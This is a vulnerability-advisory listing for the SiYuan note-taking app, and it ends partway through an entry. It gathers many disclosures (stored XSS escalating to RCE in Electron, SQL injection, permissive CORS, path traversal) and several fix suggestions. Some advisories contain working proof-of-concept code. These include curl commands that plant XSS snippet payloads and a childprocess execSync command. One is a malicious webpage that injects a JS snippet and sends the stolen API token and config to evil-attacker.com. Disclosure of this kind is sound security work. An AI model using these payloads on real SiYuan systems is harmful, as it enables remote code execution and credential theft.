Where
-Infinity
0
Severity
10
AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

SiYuan before v3.7.2 contains a missing authorization vulnerability in the POST /mcp kernel endpoint, which is gated only by a general auth check (model.CheckAuth) with no admin-role or read-only enforcement. This exposes 31 MCP tools, including a file tool with list/read/write/delete/rename/copy actions across the entire workspace. When the Publish server is enabled in anonymous mode (Conf.Publish.Enable=true and Conf.Publish.Auth.Enable=false), the Publish reverse proxy attaches an anonymous RoleReader JWT to proxied requests, allowing a remote unauthenticated attacker to reach /mcp. The attacker can read conf/conf.json to extract accessAuthCode, api.token, and cookieKey in plaintext, write arbitrary files in the workspace, and plant a plugin into data/plugins/ that executes with nodeIntegration:true and no contextIsolation on the next desktop launch, leading to administrator takeover.

First published (updated )
Severity
9.9
XSS
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

SiYuan is an open-source personal knowledge management system. Prior to 3.7.0, SiYuan contains a stored cross-site scripting (XSS) vulnerability in the Attribute View (database) asset cell renderer that escalates to remote code execution (RCE) in the Electron desktop client. This vulnerability is fixed in 3.7.0.

1 / 2
Source: NVD
First published (updated )
Severity
9.9
XSS
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Summary

A CSS snippet body containing </style> breaks out of its surrounding <style> tag when renderSnippet() interpolates it via insertAdjacentHTML. A payload like </style><img src=x onerror="..."> runs arbitrary JavaScript in the renderer. On Electron desktop builds the renderer runs with nodeIntegration:true, so require('childprocess') is reachable from the injected handler and the XSS chains to host RCE. Snippets sync via the workspace repository, so an attacker with write access to any synced workspace plants the payload once and it fires on every device that pulls.

The bug also bypasses the user's enabledCSS / enabledJS separation. A user who turned enabledJS off was making a deliberate call not to run untrusted JavaScript; the CSS path runs it anyway.

Details

Affected:

- HEAD 96dfe0b (v3.6.5, 2026-04-21) - Sink: app/src/config/util/snippets.ts:32 - Source: /api/snippet/getSnippet, backed by data/snippets/conf.json - Default config: EnabledCSS: true, EnabledJS: true at kernel/conf/snippet.go:26-27 - Electron config: nodeIntegration:true, contextIsolation:false, webSecurity:false on every BrowserWindow in app/electron/main.js:307,408-411,1107-1110,1150-1153,1322

The write path stores raw content. kernel/api/snippet.go:107-130 copies Content from the request straight into the snippet record with no HTML escape, no </style> check, no type-specific validation:

go snippet := &conf.Snippet{ ID: m["id"].(string), Name: m["name"].(string), Type: m["type"].(string), Content: m["content"].(string), Enabled: m["enabled"].(bool), }

Storage is workspace-internal and syncs. kernel/model/repository.go:1748,1798 reference data/snippets/conf.json, so the malicious record propagates to every sync peer.

The renderer reads the snippet back through /api/snippet/getSnippet and interpolates it into a <style> tag, raw. app/src/config/util/snippets.ts:32, called on app boot and on the reloadSnippet WebSocket event:

ts fetchPost("/api/snippet/getSnippet", {type: "all", enabled: 2}, (response) => { response.data.snippets.forEach((item: ISnippet) => { const id = snippet${item.type === "css" ? "CSS" : "JS"}${item.id}; if (item.type === "css") { document.head.insertAdjacentHTML("beforeend", <style id="${id}">${item.content}</style>); } else if (item.type === "js") { // intentional script-loading path } }); });

${item.content} lands inside the <style> tag. The HTML parser closes the style on the first </style> substring and treats anything after as a sibling of the empty <style> element.

Worth noting: the JS branch right after the CSS one already does the safe thing. It uses document.createElement("script") and sets el.text = item.content. That's a text-node assignment, no HTML parsing. The CSS branch just doesn't use the equivalent on a <style> element, and that's the bug.

Suggested fix

The cleanest fix mirrors what the JS branch already does. Build the element with createElement and set textContent:

ts if (item.type === "css") { const el = document.createElement("style"); el.id = id; el.textContent = item.content; document.head.appendChild(el); }

textContent on a <style> element populates the CSS rules without invoking the HTML parser, so </style> in the body is a 4-character text node instead of a close tag.

If touching that line is undesirable, the smaller patch is to escape < before interpolation:

ts const safe = item.content.replace(/[&<]/g, c => c === "&" ? "&amp;" : "&lt;"); document.head.insertAdjacentHTML("beforeend", <style id="${id}">${safe}</style>);

Either fix on its own closes the bug. Worth also rejecting </style> on the setSnippet backend handler so older renderers pulling the same synced workspace stay safe.

PoC

Stand up SiYuan:

bash docker run -d --name siyuan-poc \ -v ./workspace:/siyuan/workspace \ -p 16806:6806 \ b3log/siyuan:latest \ --workspace=/siyuan/workspace --accessAuthCode=hunter2

Plant the snippet:

bash TOKEN=$(jq -r '.api.token' workspace/conf/conf.json)

curl -X POST http://localhost:16806/api/snippet/setSnippet \ -H "Content-Type: application/json" \ -H "Authorization: Token $TOKEN" \ -d '{"snippets":[{"id":"","name":"poc","type":"css","enabled":true,"content":"</style><img src=x onerror=\"document.title=\\\"SIYUANXSS\\\";window.siyuanxss=true\">"}]}'

Returns {"code":0,"msg":"","data":null}. The snippet now sits at workspace/data/snippets/conf.json verbatim.

Open http://localhost:16806/stage/build/desktop/?r=1 or the Electron app pointing at the same workspace, authenticate, and run in DevTools:

js ({ markerFired: window.siyuanxss === true, styleCount: document.querySelectorAll('style[id^="snippetCSS"]').length, imgsInHead: document.head.querySelectorAll('img').length, snippetStyleEmpty: document.querySelector('style[id^="snippetCSS"]')?.textContent.length === 0 })

Result from my run on 2026-05-19 against b3log/siyuan:latest:

json { "markerFired": true, "styleCount": 1, "imgsInHead": 1, "snippetStyleEmpty": true }

document.title is SIYUANXSS. The <style> exists but closed empty on the first </style>. The smuggled <img> is a sibling in <head>. The injected onerror ran arbitrary JS.

To turn it into RCE on Electron, swap the marker payload for:

html <img src=x onerror="require('childprocess').execSync('open /Applications/Calculator.app')">

require is reachable from the renderer because of nodeIntegration:true in app/electron/main.js:408.

Impact

Stored XSS to RCE on Electron desktop builds, plus XSS on mobile and Docker web builds.

The payload fires whenever the renderer refreshes snippets: on boot, on manual reload, or on a reloadSnippet WebSocket push. No user click required beyond having the app open.

Anyone affected by a workspace-write compromise is exposed. Realistic paths in: compromised SiYuan Cloud / S3 / WebDAV sync credentials, a workspace folder mounted on a shared filesystem (Dropbox, Syncthing, network share, git), or a multi-user Docker server where any authenticated user can call /api/snippet/setSnippet. Once the malicious snippet is in the workspace, every peer that syncs and has enabledCSS:true runs the payload.

The bug also silently bypasses the user's snippet-toggle intent. Someone who turned enabledJS off and left enabledCSS on was making a deliberate decision not to run untrusted JavaScript. The CSS path runs it anyway.

1 / 2
Source: GitHub
First published (updated )
Severity
9.9
XSS
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Summary

The attribute-view (database) cell renderer genAVValueHTML interpolates cell content raw in four of its branches: text, url, phone, and mAsset. A cell value like </textarea><img src=x onerror="..."> or "><img src=x onerror="..."> breaks out of its surrounding tag and runs arbitrary JavaScript in the renderer when the victim opens the block-attribute panel. On Electron desktop the renderer runs with nodeIntegration:true, so the XSS chains to host RCE via require('childprocess'). AV files live under the workspace and ride normal sync, so an attacker with write access to any synced workspace plants the payload once and it fires on every device that opens a panel containing that row.

The kernel doesn't escape on the way in either, so the malicious cell persists byte-for-byte. There's no equivalent of the html.EscapeAttrVal call that protects block IAL attributes at kernel/model/blockial.go:261.

Companion advisory: GHSA-mvjr-vv3c-w4qv. Same workspace-sync to renderer-sink to Electron-RCE pattern in the CSS-snippet renderer, different sink file. Worth auditing for the same pattern in other renderers that pull from synced workspace data.

Details

Affected:

- HEAD 96dfe0b (v3.6.5, 2026-04-21) - Renderer sink: app/src/protyle/render/av/blockAttr.ts:68, genAVValueHTML(). The text, url, phone, and mAsset branches interpolate cell content raw. - Callsites piping genAVValueHTML into innerHTML: select.ts:124,229,346, cell.ts:791,913,1198, col.ts:455,656,1256, filter.ts:199,471,609,702, groups.ts:56,289,328,378, and blockAttr.ts:212. - Source: cell values returned by /api/av/getAttributeView. Backing store: data/storage/av/<avID>.json. - Write path: kernel/model/attributeview.go, updateAttributeViewValue and (Transaction).doUpdateAttrViewCell. No call to html.EscapeAttrVal, html.EscapeString, or util.EscapeHTML anywhere in the file. - Electron config: nodeIntegration:true, contextIsolation:false, webSecurity:false on every BrowserWindow in app/electron/main.js:307,408-411,1107-1110,1150-1153,1322.

The sink

app/src/protyle/render/av/blockAttr.ts:68, with the unsafe branches highlighted:

ts export const genAVValueHTML = (value: IAVCellValue) => { let html = ""; switch (value.type) { case "block": // escaped via escapeAttr — safe html = <input ... value="${escapeAttr(value.block.content)}" ...>; break; case "text": // value.text.content goes raw into a <textarea> html = <textarea ... rows="${(value.text?.content || "").split("\n").length}" ...>${value.text?.content || ""}</textarea>; break; case "url": // value.url.content goes raw into value="..." and href="..." html = <input value="${value.url.content}" ...> <a ${value.url.content ? href="${value.url.content}" : ""} ...>; break; case "phone": // same pattern as url html = <input value="${value.phone.content}" ...> <a ${value.phone.content ? href="tel:${value.phone.content}" : ""} ...>; break; case "mAsset": value.mAsset?.forEach(item => { if (item.type === "image") { // item.content raw inside aria-label html += <img ... aria-label="${item.content}" src="${getCompressURL(item.content)}">; } else { // attributes escaped, but ${item.name || item.content} text-node is raw html += <span ... aria-label="${escapeAttr(item.content)}" data-name="${escapeAttr(item.name)}" data-url="${escapeAttr(item.content)}">${item.name || item.content}</span>; } }); break; // other cases use escapeHtml / escapeAttr correctly } return html; };

escapeHtml and escapeAttr already exist and are used in the block, select, and mSelect cases. They just aren't applied in the four branches above.

Callers assign the result to innerHTML. Example, app/src/protyle/render/av/select.ts:124:

ts if (item.classList.contains("custom-attravvalue")) { item.innerHTML = genAVValueHTML(cellValue); }

The write path

A grep for any HTML-escape call in kernel/model/attributeview.go returns nothing:

grep -n 'html.Escape\|EscapeHTML\|EscapeString' kernel/model/attributeview.go (no output)

For comparison, the block-IAL write path at kernel/model/blockial.go:261 applies html.EscapeAttrVal(value). The AV cell write path is missing the equivalent.

Storage and sync

AV files live at data/storage/av/<avID>.json and the repository sync picks them up the same way it does the rest of the workspace data. Any sync target propagates the malicious cell to all peers.

Suggested fix

The renderer-side fix is the more important one. escapeHtml and escapeAttr already exist in blockAttr.ts and already protect the block, select, and mSelect branches. Extend them to the rest of genAVValueHTML:

ts case "text": html = <textarea ...>${escapeHtml(value.text?.content || "")}</textarea>; break; case "url": html = <input value="${escapeAttr(value.url.content)}" ...> <a ${value.url.content ? href="${escapeAttr(value.url.content)}" : ""} ...>; break; case "phone": html = <input value="${escapeAttr(value.phone.content)}" ...> <a ${value.phone.content ? href="tel:${escapeAttr(value.phone.content)}" : ""} ...>; break; case "mAsset": // escape item.name and item.content in the text-node positions, not just inside attributes

The mAsset image branch also interpolates item.content into the src attribute via getCompressURL. Worth rejecting javascript: and data: schemes for asset URLs while you're in there.

Backend side, defense in depth: in kernel/model/attributeview.go:updateAttributeViewValue, call html.EscapeAttrVal(content) on the string-content cell types before persisting. This mirrors the existing protection in kernel/model/blockial.go:261. The renderer fix matters more because the backend fix doesn't retroactively neutralize payloads already sitting in synced workspaces.

PoC

Stand up SiYuan and drop a malicious AV file at workspace/data/storage/av/poc.json:

bash docker run -d --name siyuan-poc \ -v ./workspace:/siyuan/workspace \ -p 16806:6806 \ b3log/siyuan:latest \ --workspace=/siyuan/workspace --accessAuthCode=hunter2

Minimum viable AV JSON:

json { "spec": 2, "id": "20260519999999-poctest", "name": "PocAV", "keyValues": [ { "key": {"id": "...keyblok", "name": "Block", "type": "block"}, "values": [{ "id": "...row1blk", "keyID": "...keyblok", "blockID": "...row1blk", "type": "block", "isDetached": true, "block": {"id": "...row1blk", "content": "Row 1"} }] }, { "key": {"id": "...keytext", "name": "TextField", "type": "text"}, "values": [{ "id": "...celltxt", "keyID": "...keytext", "blockID": "...row1blk", "type": "text", "text": {"content": "</textarea><img src=x onerror=\"window.siyuanavxss='FIRED'\">"} }] }, { "key": {"id": "...keyurl0", "name": "UrlField", "type": "url"}, "values": [{ "id": "...cellurl", "keyID": "...keyurl0", "blockID": "...row1blk", "type": "url", "url": {"content": "\"><img src=x onerror=\"window.siyuanavurlxss='FIRED'\">"} }] } ] }

In a real attack the file gets there via sync, not by hand.

Confirm the API returns the cell content raw:

bash TOKEN=$(jq -r '.api.token' workspace/conf/conf.json)

curl -s -X POST http://localhost:16806/api/av/getAttributeView \ -H "Authorization: Token $TOKEN" \ -d '{"id":"20260519999999-poctest"}' \ | python3 -m json.tool | grep -E '"content":'

Output from my run on 2026-05-19:

"content": "</textarea><img src=x onerror=\"window.siyuanavxss='FIRED'\">" "content": "\"><img src=x onerror=\"window.siyuanavurlxss='FIRED'\">"

</textarea> and "> come back literal, no escape.

In the Siyuan renderer's DevTools:

js const res = await fetch('/api/av/getAttributeView', { method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify({id: '20260519999999-poctest'}) }); const json = await res.json();

let textValue = null, urlValue = null; for (const kv of json.data.av.keyValues) { for (const v of kv.values || []) { if (v.type === 'text' && v.text) textValue = v; if (v.type === 'url' && v.url) urlValue = v; } }

// Replay the actual genAVValueHTML branches verbatim. const textHTML = <textarea rows="${(textValue.text?.content||'').split('\n').length}">${textValue.text?.content || ''}</textarea>; const urlHTML = <input value="${urlValue.url.content}">;

const div = document.createElement('div'); div.innerHTML = textHTML + urlHTML;

await new Promise(r => setTimeout(r, 250));

console.log({ textMarkerFired: window.siyuanavxss === 'FIRED', urlMarkerFired: window.siyuanavurlxss === 'FIRED', imgsInDiv: div.querySelectorAll('img').length, title: document.title });

Output from my run:

json { "textMarkerFired": true, "urlMarkerFired": true, "imgsInDiv": 3, "title": "AVTEXTXSSOK" }

</textarea> and "> both broke out, the smuggled <img> elements ran their onerror handlers, the marker variables got set, document.title got rewritten. Same code path the real panel takes when the user opens the block attributes on this row.

To turn it into RCE on Electron, swap the marker payload for:

html <img src=x onerror="require('childprocess').execSync('open /Applications/Calculator.app')">

require is reachable from the renderer because of nodeIntegration:true in app/electron/main.js:408.

Impact

Stored XSS to RCE on Electron desktop builds, plus XSS on mobile and Docker web builds.

The payload fires the next time the victim opens the block-attribute panel on a row containing the malicious cell. The panel opens on a cell click or via the gutter icon, which is normal database usage. No special interaction required.

Anyone affected by a workspace-write compromise is exposed. Realistic paths in: compromised SiYuan Cloud / S3 / WebDAV sync credentials, a workspace folder mounted on a shared filesystem (Dropbox, Syncthing, network share, git), or a multi-user Docker server where any authenticated user can call /api/av/updateAttrViewCell. Once the malicious AV cell is in the workspace, every peer that syncs and opens a panel touching that row runs the payload.

1 / 2
Source: GitHub
First published (updated )
Severity
9.9
SQL Injection, CSRF
AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N

CVE: This vulnerability corresponds to CVE-2026-69084.

Summary

The /api/search/searchEmbedBlock endpoint passes a client-supplied SQL statement verbatim to the database with no validation. The endpoint is gated by CheckAuth only reachable by the publish RoleReader token, and by the anonymous account when Publish.Auth.Enable is false. The statement runs on the main read-write siyuan.db handle through a driver that executes stacked statements, with no single-statement or read-only guard. An unauthenticated request can therefore execute arbitrary SQL reading and writing content across all cleartext notebooks.

Unlike SQL injection into a fixed query, this endpoint accepts a full SQL statement by design and simply fails to restrict who may call it or what the statement may do.

Details

Data flow verbatim, unvalidated:

- searchEmbedBlock (kernel/api/search.go): stmt := arg["stmt"].(string) passed directly to model.SearchEmbedBlock(stmt, …). No validation. - SearchEmbedBlock → SearchEmbedBlockInBox → sql.SelectBlocksRawStmtNoParse(stmt, …) → selectBlocksRawStmt → query(stmt). - query() (kernel/sql/database.go) calls db.Query(stmt) on the global siyuan.db handle.

Missing guards. The comparable endpoints enforce restrictions this one omits: - /api/query/sql runs CheckSingleStatement (all modes) and CheckReadonlyStatement (readonly mode) and is route-gated CheckAuth + CheckAdminRole + CheckReadonly. - fullTextSearchBlock rejects the SQL search method for non-admins (if method == 2 && !IsAdminRoleContext(c)).

searchEmbedBlock has none of these, no statement check, no read-only check, no admin gate.

Route/auth tier. router.go: Handle("POST", "/api/search/searchEmbedBlock", model.CheckAuth, searchEmbedBlock), CheckAuth only. CheckAuth admits RoleReader, and the publish proxy forwards port-6808 traffic with a Reader JWT (anonymous account when publish auth is disabled). Anonymous/reader reachable.

Handle/stacking. query() uses the global siyuan.db handle, the same read-write handle behind the accepted searchDocs finding. Driver is the vendored 88250/go-sqlite3 (mattn fork), whose connection query loops over ;-separated statements, so stacked statements execute for their side effects. The DSN sets no mode=ro / queryonly, so the handle is read-write; ATTACH is available.

Post-hoc filter does not bound the statement. FilterEmbedBlocksByPublishAccess runs on the returned slice after query() has executed. It filters rows; it cannot constrain what the statement did. Any write or ATTACH side effect has already occurred before the filter runs. It is not a security boundary for this sink.

Scope. The main blocks/DB handle spans every opened cleartext notebook. Encrypted notebooks use separate per-box databases and are excluded.

Impact

An unauthenticated request (publish mode with auth disabled) or any publish RoleReader executes arbitrary SQL on the main read-write database. This permits cross-notebook read disclosure of document content, and via the read-write handle and statement stacking, modification of database content and ATTACH-reachable files. No admin role, CSRF token, or write permission through the normal API is required. Encrypted notebooks are not exposed. Code execution is not reachable in the default build (no loadextension).

PoC Steps

1. Build the kernel image from pinned HEAD

docker build -f D:/bb/zitadel/chatto/siyuan/Dockerfile.poc -t siyuan-head D:/bb/zitadel/chatto/siyuan

2. Run fresh, workspace mounted to the host

docker rm -f siyuan-poc 2>nul docker run -d --name siyuan-poc -p 6806:6806 -p 6808:6808 -v D:/bb/siyuan:/siyuan/workspace siyuan-head serve --accessAuthCode=1234567 --port=6806

Confirm it booted (version string back, not Cobra help):

docker logs siyuan-poc curl -s http://127.0.0.1:6806/api/system/version

3. Grab the admin API token from the host file. Use that value wherever TOKEN appears below (yours was g4wj3r04ntobe9m4).

4. Turn on the reader surface: publish on 6808, Basic Auth OFF

curl -s -X POST http://127.0.0.1:6806/api/setting/setPublish -H "Content-Type: application/json" -H "Authorization: Token TOKEN" -d "{\"enable\":true,\"port\":6808,\"auth\":{\"enable\":false,\"accounts\":[]}}"

Must return "data":{"port":6808,...} (non-zero port = bound OK). Port 6808, not 6806.

5. THE PROOF: anonymous reader on 6808, no token (the differential)

Guarded sibling rejects reader SQL: curl -i -X POST http://127.0.0.1:6808/api/search/fullTextSearchBlock -H "Content-Type: application/json" -d "{\"query\":\"SELECT FROM blocks LIMIT 1\",\"method\":2}"

→ -1 / "SQL search requires administrator privileges"

searchEmbedBlock accepts the same reader SQL (no guard): curl -i -X POST http://127.0.0.1:6808/api/search/searchEmbedBlock -H "Content-Type: application/json" -d "{\"embedBlockID\":\"\",\"stmt\":\"SELECT FROM blocks LIMIT 1\",\"excludeIDs\":[]}" → HTTP 200 / code:0 : arbitrary SQL executed at the anonymous reader tier. This pair is the finding.

Suggested fix

Apply the same controls the sibling SQL endpoints already use: route searchEmbedBlock through CheckSingleStatement and CheckReadonlyStatement, and gate the raw-SQL capability behind CheckAdminRole (as /api/query/sql and fullTextSearchBlock's SQL method do). At minimum, the read paths should run on a queryonly=1 handle so a reader-reachable statement cannot write or ATTACH.

1 / 2
Source: GitHub
First published (updated )
Severity
9.8
SQL Injection
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

A SQL injection vulnerability was discovered in Siyuan 3.1.11 in /getHistoryItems.

First published (updated )
Severity
9.8
SQL Injection
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

A SQL injection vulnerability has been identified in Siyuan 3.1.11 via the notebook parameter in /searchHistory.

First published (updated )
Severity
9.8
SQL Injection
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

A SQL injection vulnerability has been identified in Siyuan 3.1.11 via the id parameter at /getAssetContent.

First published (updated )
Severity
9.8
SQL Injection
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

A SQL injection vulnerability has been identified in Siyuan 3.1.11 via the ids array parameter in /batchGetBlockAttrs.

First published (updated )
Severity
9.7
AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Summary

A malicious website can achieve Remote Code Execution (RCE) on any desktop running SiYuan by exploiting the permissive CORS policy (Access-Control-Allow-Origin: + Access-Control-Allow-Private-Network: true) to inject a JavaScript snippet via the API. The injected snippet executes in Electron's Node.js context with full OS access the next time the user opens SiYuan's UI. No user interaction is required beyond visiting the malicious website while SiYuan is running.

Details

Vulnerable files: - kernel/server/serve.go, lines 960-963 — CORS middleware - kernel/api/snippet.go, lines 93-128 — snippet injection endpoint

Root cause: The CORS middleware unconditionally sets: Access-Control-Allow-Origin: Access-Control-Allow-Credentials: true Access-Control-Allow-Private-Network: true

The Access-Control-Allow-Private-Network: true header explicitly opts into Chrome's Private Network Access specification, telling the browser that external websites are permitted to access this localhost service. Combined with Access-Control-Allow-Origin: , any website on the internet can make authenticated cross-origin requests to the SiYuan API at 127.0.0.1:6806.

The auth middleware at kernel/model/session.go:251-280 checks the Origin header, but this check is bypassed because the browser sends the session cookie (set on 127.0.0.1) along with the cross-origin request, and the server validates the cookie before reaching the Origin check for unauthenticated sessions.

Attack chain: 1. User visits https://evil-attacker.com while SiYuan desktop is running 2. Malicious JS sends CORS preflight to http://127.0.0.1:6806 — SiYuan responds with permissive CORS headers 3. Browser sends actual POST to /api/snippet/setSnippet with the user's session cookie 4. SiYuan accepts the request and saves a malicious JS snippet 5. The snippet executes in Electron's renderer process with Node.js integration, achieving arbitrary code execution

PoC

Malicious webpage (hosted on any domain):

html <!DOCTYPE html> <html> <body> <h1>Innocent looking page</h1> <script> // Step 1: Inject a JS snippet that runs OS commands via Electron/Node.js fetch('http://127.0.0.1:6806/api/snippet/setSnippet', { method: 'POST', credentials: 'include', headers: {'Content-Type': 'application/json'}, body: JSON.stringify({ snippets: [{ id: 'exploit-' + Date.now(), name: 'system-update', type: 'js', content: 'require("childprocess").exec("id > /tmp/siyuan-rce-proof")', enabled: true }] }) }).then(r => r.json()).then(d => { console.log('Snippet injected:', d); });

// Step 2 (optional): Exfiltrate API token and all notes fetch('http://127.0.0.1:6806/api/system/getConf', { method: 'POST', credentials: 'include', headers: {'Content-Type': 'application/json'} }).then(r => r.json()).then(d => { // Send API token and config to attacker server fetch('https://evil-attacker.com/collect', { method: 'POST', body: JSON.stringify(d.data) }); }); </script> </body> </html>

Verification steps:

1. Start SiYuan desktop (or Docker with SIYUANACCESSAUTHCODE set) 2. Login to SiYuan in a browser to establish a session cookie 3. In the same browser, navigate to the malicious page 4. Verify snippet was injected: bash curl -X POST http://127.0.0.1:6806/api/snippet/getSnippet \ -H "Content-Type: application/json" \ -b <session-cookie> \ -d '{"type":"all","enabled":2}'

Tested and confirmed on SiYuan v3.6.1 (Docker). The CORS preflight returns permissive headers, the snippet is injected from Origin: https://evil-attacker.com, and the API token is exfiltrated — all in a single page load.

Impact

- Remote Code Execution: Any website can execute arbitrary OS commands on the user's machine via Electron's Node.js integration. The attacker gains full control with the user's privileges. - Data exfiltration: The attacker can read all notes, configuration (including API tokens), and workspace data via the API before the RCE payload even triggers. - No user interaction beyond browsing: The victim only needs to visit a malicious/compromised webpage while SiYuan is running. No clicks, no downloads, no permissions dialogs. - Affects all desktop users: SiYuan desktop runs on 127.0.0.1:6806 by default. The Access-Control-Allow-Private-Network: true header explicitly bypasses Chrome's Private Network Access protection that would otherwise block this attack. - Persistence: The injected JS snippet is saved to disk and executes every time SiYuan loads, surviving restarts.

1 / 2
Source: GitHub
First published (updated )
Severity
9.6
EPSS
0.11%
Code Injection, XSS
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

SiYuan is a personal knowledge management system. Versions prior to 3.5.4 have a stored Cross-Site Scripting (XSS) vulnerability that allows an attacker to inject arbitrary HTML attributes into the icon attribute of a block via the /api/attr/setBlockAttrs API. The payload is later rendered in the dynamic icon feature in an unsanitized context, leading to stored XSS and, in the desktop environment, potential remote code execution (RCE). This issue bypasses the previous fix for issue #15970 (XSS → RCE via dynamic icons). Version 3.5.4 contains an updated fix.

First published (updated )
Severity
9.4
XSS
AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

SiYuan before v3.6.1 fails to sanitize package metadata and README content in the Bazaar marketplace, allowing malicious package authors to inject arbitrary HTML and JavaScript. Attackers can achieve remote code execution on any user browsing the Bazaar by embedding XSS payloads in package displayName, description, or README fields, exploiting Electron's nodeIntegration setting to execute OS commands.

First published (updated )
Severity
9.4
XSS
AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

SiYuan before v3.6.1 fails to sanitize package metadata and README content in the Bazaar marketplace, allowing malicious package authors to inject arbitrary HTML and JavaScript. Attackers can achieve remote code execution on any user browsing the Bazaar by embedding XSS payloads in package displayName, description, or README fields, exploiting Electron's nodeIntegration setting to execute OS commands.

First published (updated )
Severity
9.4
XSS
AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H

SiYuan versions before v3.7.4 contain a remote code execution vulnerability in the Template calculation operator, which renders user-authored Go templates and stores output verbatim without sanitization. Attackers can inject malicious HTML and JavaScript into template calculations that execute in the desktop client renderer with Node integration enabled, allowing arbitrary code execution when the database is opened.

First published (updated )
Severity
9.4
XSS
AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H

SiYuan before v3.7.4 stores attribute-view field names without HTML escaping and interpolates them directly into option elements via innerHTML in the sort menu. Attackers can inject markup by renaming a database field to execute arbitrary JavaScript when users open the sort menu, with Node integration enabled in the desktop client enabling code execution.

First published (updated )
Severity
9.4
XSS
AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H

SiYuan versions before v3.7.4 fail to validate or escape the color field in attribute-view select options, allowing stored cross-site scripting through eight unescaped render sites. Attackers can inject event-handler attributes by including quotation marks in the color value, executing arbitrary JavaScript when viewing databases containing the malicious select field.

First published (updated )
Severity
9.4
XSS
AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H

SiYuan versions before v3.7.4 contain a cross-site scripting vulnerability in the unicode2Emoji function that fails to sanitize codepoint branch output. Attackers can craft document icons with hex-encoded markup that executes in the renderer with Node integration enabled, achieving arbitrary code execution on the host system.

First published (updated )
Severity
9.4
XSS
AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H

SiYuan before v3.7.4 fails to properly escape database menu metadata in HTML interpolation, allowing stored values to execute script when users open group, view, or field-edit menus. Attackers can inject markup through field descriptions or names that close containing elements and execute arbitrary code via event handlers, reaching Node built-ins due to Electron's insecure configuration.

First published (updated )
Severity
9.4
XSS
AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H

SiYuan before v3.7.4 fails to set Content-Disposition and X-Content-Type-Options headers when serving arbitrary file assets, allowing stored cross-site scripting attacks. Authenticated attackers can upload HTML files as assets and execute scripts with full kernel API access when the workspace owner opens the asset link.

First published (updated )
Severity
9.4
Path Traversal
AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

SiYuan before v3.7.4 fails to validate the packageName parameter in Bazaar install and uninstall endpoints, allowing authenticated administrators to perform path traversal via directory traversal sequences. Attackers with admin access can write arbitrary files to any location via install operations or recursively delete directories via uninstall operations by supplying crafted packageName values.

First published (updated )
Severity
9.3
XSS
AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N

SiYuan before v3.7.3 contains stored and reflected cross-site scripting vulnerabilities in SVG sanitization that allows authenticated attackers to execute scripts by bypassing the HTML parser-based cleaner. Attackers can hide script tags within desc, style, or noscript elements which the HTML parser treats as raw text but browsers interpret as executable SVG content when served as image/svg+xml, enabling script execution in the application origin.

First published (updated )
Severity
9.3
XSS
AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:H

SiYuan before v3.7.2 fails to escape the title-img Individual Attribute List value when rendering Gallery and Kanban cover images, allowing stored cross-site scripting via unescaped style attribute interpolation. Attackers with editor permissions can inject onload handlers that execute arbitrary code in the Electron renderer with full Node.js access when victims open affected documents.

First published (updated )
Severity
9.3
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

SiYuan before v3.7.4 improperly restricts excessive authentication attempts in the CheckAuth() middleware. The HTTP Basic Authentication branch, which guards nearly the entire /api/ surface, accepts the workspace access code (Conf.AccessAuthCode) as the Basic Auth password but never consults the CAPTCHA/lockout gate or increments the failure counter used by the cookie/session login path. This allows unauthenticated remote attackers to brute-force the admin access code with unlimited automated requests and obtain full RoleAdministrator access to the kernel. A secondary weakness exists because the access code is compared using a non-constant-time string comparison.

First published (updated )
Severity
9.3
XSS
AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

SiYuan before v3.7.4 contains a cross-site scripting vulnerability in the file-tree picker's hover-tooltip generation (app/src/util/pathName.ts, getLeaf()/movePathTo()) used by the 'move/link to' path-selection dialogs, where document metadata fields (bookmark, alias, memo, and an alternate name field) are concatenated into the aria-label HTML attribute without escaping. A document crafted with a double quote in any of these fields breaks out of the attribute context and injects arbitrary HTML attributes including inline event handlers (e.g., onmouseover). Because every SiYuan Electron BrowserWindow runs with nodeIntegration:true, contextIsolation:false, and no CSP, the injected handler gains require('childprocess') access, escalating the XSS to arbitrary OS command execution when a victim merely hovers over the malicious document entry in the path-picker dialog. Malicious documents reach victims via sharing, sync, or import.

First published (updated )
Severity
9.3
XSS
AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

